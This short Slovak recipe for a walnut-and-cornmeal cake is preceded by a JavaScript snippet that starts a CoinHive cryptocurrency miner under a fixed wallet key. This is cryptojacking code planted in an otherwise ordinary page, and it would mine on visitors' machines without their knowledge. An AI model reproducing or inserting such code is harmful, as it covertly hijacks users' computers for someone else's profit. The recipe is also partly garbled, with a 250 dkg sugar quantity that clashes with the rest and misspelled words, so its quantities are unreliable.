

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```

Potrebuje: 25 dkg masla (Hera), 250 dkg práškového cukru, 6 vajec, 9 dkg kukuričnej polohrubej múky, 25 dkg práškového cukru, 29 dkg mletých orechov

Postup: Maslo s 25 dkg cukru vymiešame do penista, potom pridáme múku, orechy a sneh zo 6 bielok. Dáme piecť do rúry vyhriatej na 180°C. Plech vymastíme a vysypeme. Keď je koláč upečený, dáme ho z rúry von a po 4 minútach povrch potrieme žítkovou hmotou (žílka vymiešané s 25 dkg práškového cukru).